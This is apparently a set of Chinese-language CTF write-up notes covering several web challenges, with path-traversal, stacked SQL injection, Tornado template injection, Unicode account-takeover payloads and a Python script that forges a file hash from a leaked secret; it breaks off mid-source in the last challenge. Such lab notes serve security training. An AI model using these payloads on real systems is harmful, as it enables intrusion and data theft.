目录
[HCTF 2018]WarmUp
index.php?file=source.php
查看源代码
源码中又进行了一次urldecode
构造payload:?file=source.php%253f../../../../../ffffllllaaaagggg
[强网杯 2019]随便注
利用堆叠注入
-1’;show tables#
-1’;desc words#或者-1’;show columns from words#
预编译查询
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例句:set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;
[护网杯 2018]easy_tornado
tornado的模板漏洞
{
{handler.settings}}得到secret_cookie
然后用以下脚本:注意在python2下运行
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
filename = '/fllllllllllllag'
cookie_secret = 'bc563633-4591-4b42-b51f-9cf7d3314194'
print(md5(cookie_secret + md5(filename)))
ans = 'file?filename='+filename+'&filehash='+(md5(cookie_secret + md5(filename)))
print ans
[SUCTF 2019]EasySQL
查询操作为select POST[‘query’]||flag from Flag
*,1可以获取
或者把||符号由或改为拼接:1;set sql_mode=PIPES_AS_CONCAT;select 1
[HCTF 2018]admin
这里利用的是Unicode欺骗
在change的地方发现源代码
在change和register都把输入转化为小写:
而转化为小写的地方存在漏洞
对于一些特殊的Unicode,nodeprep.prepare会进行如下操作
ᴀ -> A -> a
所以我们先注册一个ᴬᴰᴹᴵᴺ,登录之后变成了ADMIN,
改密码时账号就变成了admin
https://unicode-table.com/en/blocks/phonetic-extensions/
这个网站可以查
PS:
这题还有一个弱口令漏洞
密码123可以直接登录····
[RoarCTF 2019]Easy Calc
这题利用的是PHP字符串解析漏洞
当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
看一下源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'